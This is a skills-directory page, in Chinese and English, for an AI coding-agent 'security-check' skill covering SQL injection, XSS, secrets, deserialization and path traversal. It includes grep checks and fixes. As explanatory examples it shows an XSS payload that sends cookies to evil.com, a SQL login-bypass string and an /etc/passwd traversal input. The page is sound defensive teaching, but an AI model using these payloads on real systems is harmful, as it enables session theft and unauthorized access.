security-check by diego-tobalina/vibe-coding
npx skills add https://github.com/diego-tobalina/vibe-coding --skill security-check对代码库或特定变更进行安全审查。
⚠️ 严重: 安全漏洞可能导致用户数据泄露、允许未经授权的访问并危及系统安全。切勿将安全视为可选项。
定义: 攻击者通过用户输入注入恶意 SQL 语句
影响:
攻击示例:
User input: ' OR '1'='1' --
Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'
Returns ALL users (bypasses authentication)
真实世界影响:
检测方法:
# Find SQL concatenation in Java
grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java" src/
grep -rn "+.*SELECT\|+.*INSERT" --include="*.java" src/
# Find SQL concatenation in JavaScript/TypeScript
grep -rn "`SELECT\|`INSERT\|`UPDATE" --include="*.ts" src/
grep -rn "\.query(.*+" --include="*.ts" src/
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
修复方法:
// ❌ WRONG - String concatenation
String query = "SELECT * FROM users WHERE email = '" + email + "'";
// ✅ CORRECT - Parameterized query
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email);
ResultSet rs = stmt.executeQuery();
// ✅ CORRECT - JPA/ORM (safe by default)
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
定义: 攻击者将恶意脚本注入网页
影响:
类型:
攻击示例:
User input: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
If displayed without escaping: Script runs in victim's browser
真实世界影响:
检测方法:
# Find unescaped output in templates
grep -rn "{{.*|safe\|{{{\|v-html\|dangerouslySetInnerHTML" --include="*.tsx" --include="*.jsx" src/
# Find innerHTML usage
grep -rn "\.innerHTML\s*=" --include="*.ts" --include="*.js" src/
修复方法:
// ❌ WRONG - Unescaped output (React example)
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ✅ CORRECT - Auto-escaped (React default)
<div>{userInput}</div> // Automatically escaped!
// ✅ CORRECT - Explicit escaping
import { escapeHtml } from 'escape-html';
<div>{escapeHtml(userInput)}</div>
// ✅ CORRECT - DOMPurify for allowed HTML
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
定义: API 密钥、密码、令牌直接存储在代码中
影响:
常见位置:
真实世界影响:
检测方法:
# Scan with tools
git-secrets --scan
npm install -g detect-secrets && detect-secrets scan
# Manual grep (false positives likely)
grep -rn "password\|secret\|api_key\|token\|private_key" \
--include="*.java" --include="*.ts" --include="*.yml" \
--include="*.yaml" --include="*.properties" src/
# Check git history
git log --all --full-history -- '*.properties' '*.yml' '*.yaml'
修复方法:
// ❌ WRONG - Hardcoded in code
String apiKey = "sk_live_51H...";
// ❌ WRONG - Hardcoded in config
api:
key: sk_live_51H...
// ✅ CORRECT - Environment variable
String apiKey = System.getenv("API_KEY");
// application.yml
api:
key: ${API_KEY} # From environment
# .gitignore
.env
.env.local
.env.production
*.pem
*.key
application-local.yml
secrets.yml
定义: 未经验证即反序列化不可信数据
影响:
真实世界影响:
检测方法:
# Java deserialization
grep -rn "ObjectInputStream\|readObject\|readUnshared" --include="*.java" src/
grep -rn "SerializationUtils.deserialize\|JSON.parseObject" --include="*.java" src/
# JavaScript/Node.js
grep -rn "eval\|new Function\|child_process" --include="*.ts" src/
修复方法:
// ❌ WRONG - Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(input);
Object obj = ois.readObject(); // DANGEROUS!
// ✅ CORRECT - Use JSON with schema validation
User user = objectMapper.readValue(json, User.class); // Type-safe
// ✅ CORRECT - If must use Java serialization, whitelist classes
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!com.example.dangerous.*;java.base/*;!*"
);
ois.setObjectInputFilter(filter);
定义: 攻击者访问预期目录之外的文件
影响:
攻击示例:
User input: ../../../etc/passwd
Result: Accesses system password file
检测方法:
grep -rn "FileInputStream\|FileReader\|Paths.get" --include="*.java" src/
grep -rn "fs.readFile\|fs.writeFile\|require('path')" --include="*.ts" src/
修复方法:
// ❌ WRONG - Direct path construction
String filePath = "/uploads/" + userInput;
File file = new File(filePath);
// ✅ CORRECT - Validate and canonicalize
Path basePath = Paths.get("/uploads").toAbsolutePath().normalize();
Path resolvedPath = basePath.resolve(userInput).normalize();
if (!resolvedPath.startsWith(basePath)) {
throw new SecurityException("Path traversal attempt");
}
File file = resolvedPath.toFile();
git diff).env 文件已加入 .gitignore@Valid, @NotBlank 等)// Enable CSRF protection (enabled by default in Spring Security)
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // Exclude public endpoints
);
// Include CSRF token in requests
fetch('/api/protected', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': getCsrfTokenFromCookie(),
},
body: JSON.stringify(data),
});
// Using Bucket4j
@Component
public class RateLimitingFilter extends OncePerRequestFilter {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String clientId = getClientIdentifier(request);
Bucket bucket = buckets.computeIfAbsent(clientId, k -> createBucket());
if (bucket.tryConsume(1)) {
chain.doFilter(request, response);
} else {
response.setStatus(429);
response.getWriter().write("Too many requests");
}
}
private Bucket createBucket() {
return Bucket.builder()
.addLimit(limit -> limit.capacity(100).refillGreedy(100, Duration.ofMinutes(1)))
.build();
}
}
// Using express-rate-limit
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // limit each IP to 100 requests per windowMs
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
app.use('/api/', limiter);
# Find potential secrets
grep -rn "password\|secret\|api_key\|token" --include="*.java" --include="*.ts"
# Check for SQL concatenation
grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java"
# Find eval/exec usage
grep -rn "eval\|exec\|Runtime.getRuntime" --include="*.java" --include="*.ts"
# Check .env not committed
git ls-files | grep -i env
# Dependency vulnerabilities
npm audit
mvn dependency-check:check
审查了什么。
严重 / 高危 / 中危 / 低危
| 问题 | 位置 | 修复方案 |
|---|---|---|
| ... | ... | ... |
| 问题 | 位置 | 修复方案 |
|---|---|---|
| ... | ... | ... |
| 问题 | 位置 | 修复方案 |
|---|---|---|
| ... | ... | ... |
按优先级排序的安全改进列表。
已正确实施的安全控制列表
每周安装数
1
仓库
GitHub 星标数
1
首次出现
1 天前
安全审计
安装于
zencoder1
amp1
cline1
openclaw1
opencode1
cursor1
Perform security review of the codebase or specific changes.
⚠️ CRITICAL: Security vulnerabilities can expose user data, allow unauthorized access, and compromise systems. Never treat security as optional.
What it is: Attacker injects malicious SQL through user input
Impact:
Example Attack:
User input: ' OR '1'='1' --
Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'
Returns ALL users (bypasses authentication)
Real World Impact:
Detection:
# Find SQL concatenation in Java
grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java" src/
grep -rn "+.*SELECT\|+.*INSERT" --include="*.java" src/
# Find SQL concatenation in JavaScript/TypeScript
grep -rn "`SELECT\|`INSERT\|`UPDATE" --include="*.ts" src/
grep -rn "\.query(.*+" --include="*.ts" src/
Remediation:
// ❌ WRONG - String concatenation
String query = "SELECT * FROM users WHERE email = '" + email + "'";
// ✅ CORRECT - Parameterized query
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email);
ResultSet rs = stmt.executeQuery();
// ✅ CORRECT - JPA/ORM (safe by default)
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
What it is: Attacker injects malicious scripts into web pages
Impact:
Types:
Example Attack:
User input: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
If displayed without escaping: Script runs in victim's browser
Real World Impact:
Detection:
# Find unescaped output in templates
grep -rn "{{.*|safe\|{{{\|v-html\|dangerouslySetInnerHTML" --include="*.tsx" --include="*.jsx" src/
# Find innerHTML usage
grep -rn "\.innerHTML\s*=" --include="*.ts" --include="*.js" src/
Remediation:
// ❌ WRONG - Unescaped output (React example)
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ✅ CORRECT - Auto-escaped (React default)
<div>{userInput}</div> // Automatically escaped!
// ✅ CORRECT - Explicit escaping
import { escapeHtml } from 'escape-html';
<div>{escapeHtml(userInput)}</div>
// ✅ CORRECT - DOMPurify for allowed HTML
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
What it is: API keys, passwords, tokens stored directly in code
Impact:
Common Locations:
Real World Impact:
Detection:
# Scan with tools
git-secrets --scan
npm install -g detect-secrets && detect-secrets scan
# Manual grep (false positives likely)
grep -rn "password\|secret\|api_key\|token\|private_key" \
--include="*.java" --include="*.ts" --include="*.yml" \
--include="*.yaml" --include="*.properties" src/
# Check git history
git log --all --full-history -- '*.properties' '*.yml' '*.yaml'
Remediation:
// ❌ WRONG - Hardcoded in code
String apiKey = "sk_live_51H...";
// ❌ WRONG - Hardcoded in config
api:
key: sk_live_51H...
// ✅ CORRECT - Environment variable
String apiKey = System.getenv("API_KEY");
// application.yml
api:
key: ${API_KEY} # From environment
# .gitignore
.env
.env.local
.env.production
*.pem
*.key
application-local.yml
secrets.yml
What it is: Untrusted data deserialized without validation
Impact:
Real World Impact:
Detection:
# Java deserialization
grep -rn "ObjectInputStream\|readObject\|readUnshared" --include="*.java" src/
grep -rn "SerializationUtils.deserialize\|JSON.parseObject" --include="*.java" src/
# JavaScript/Node.js
grep -rn "eval\|new Function\|child_process" --include="*.ts" src/
Remediation:
// ❌ WRONG - Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(input);
Object obj = ois.readObject(); // DANGEROUS!
// ✅ CORRECT - Use JSON with schema validation
User user = objectMapper.readValue(json, User.class); // Type-safe
// ✅ CORRECT - If must use Java serialization, whitelist classes
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!com.example.dangerous.*;java.base/*;!*"
);
ois.setObjectInputFilter(filter);
What it is: Attacker accesses files outside intended directory
Impact:
Example Attack:
User input: ../../../etc/passwd
Result: Accesses system password file
Detection:
grep -rn "FileInputStream\|FileReader\|Paths.get" --include="*.java" src/
grep -rn "fs.readFile\|fs.writeFile\|require('path')" --include="*.ts" src/
Remediation:
// ❌ WRONG - Direct path construction
String filePath = "/uploads/" + userInput;
File file = new File(filePath);
// ✅ CORRECT - Validate and canonicalize
Path basePath = Paths.get("/uploads").toAbsolutePath().normalize();
Path resolvedPath = basePath.resolve(userInput).normalize();
if (!resolvedPath.startsWith(basePath)) {
throw new SecurityException("Path traversal attempt");
}
File file = resolvedPath.toFile();
git diff).env files in .gitignore@Valid, @NotBlank, etc.)// Enable CSRF protection (enabled by default in Spring Security)
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // Exclude public endpoints
);
// Include CSRF token in requests
fetch('/api/protected', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': getCsrfTokenFromCookie(),
},
body: JSON.stringify(data),
});
// Using Bucket4j
@Component
public class RateLimitingFilter extends OncePerRequestFilter {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String clientId = getClientIdentifier(request);
Bucket bucket = buckets.computeIfAbsent(clientId, k -> createBucket());
if (bucket.tryConsume(1)) {
chain.doFilter(request, response);
} else {
response.setStatus(429);
response.getWriter().write("Too many requests");
}
}
private Bucket createBucket() {
return Bucket.builder()
.addLimit(limit -> limit.capacity(100).refillGreedy(100, Duration.ofMinutes(1)))
.build();
}
}
// Using express-rate-limit
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // limit each IP to 100 requests per windowMs
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
app.use('/api/', limiter);
# Find potential secrets
grep -rn "password\|secret\|api_key\|token" --include="*.java" --include="*.ts"
# Check for SQL concatenation
grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java"
# Find eval/exec usage
grep -rn "eval\|exec\|Runtime.getRuntime" --include="*.java" --include="*.ts"
# Check .env not committed
git ls-files | grep -i env
# Dependency vulnerabilities
npm audit
mvn dependency-check:check
What was reviewed.
CRITICAL / HIGH / MEDIUM / LOW
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
Prioritized list of security improvements.
List of security controls that are properly implemented
Weekly Installs
1
Repository
GitHub Stars
1
First Seen
1 day ago
Security Audits
Gen Agent Trust HubPassSocketPassSnykPass
Installed on
zencoder1
amp1
cline1
openclaw1
opencode1
cursor1
通过 LiteLLM 代理让 Claude Code 对接 GitHub Copilot 运行 | 高级变通方案指南
31,600 周安装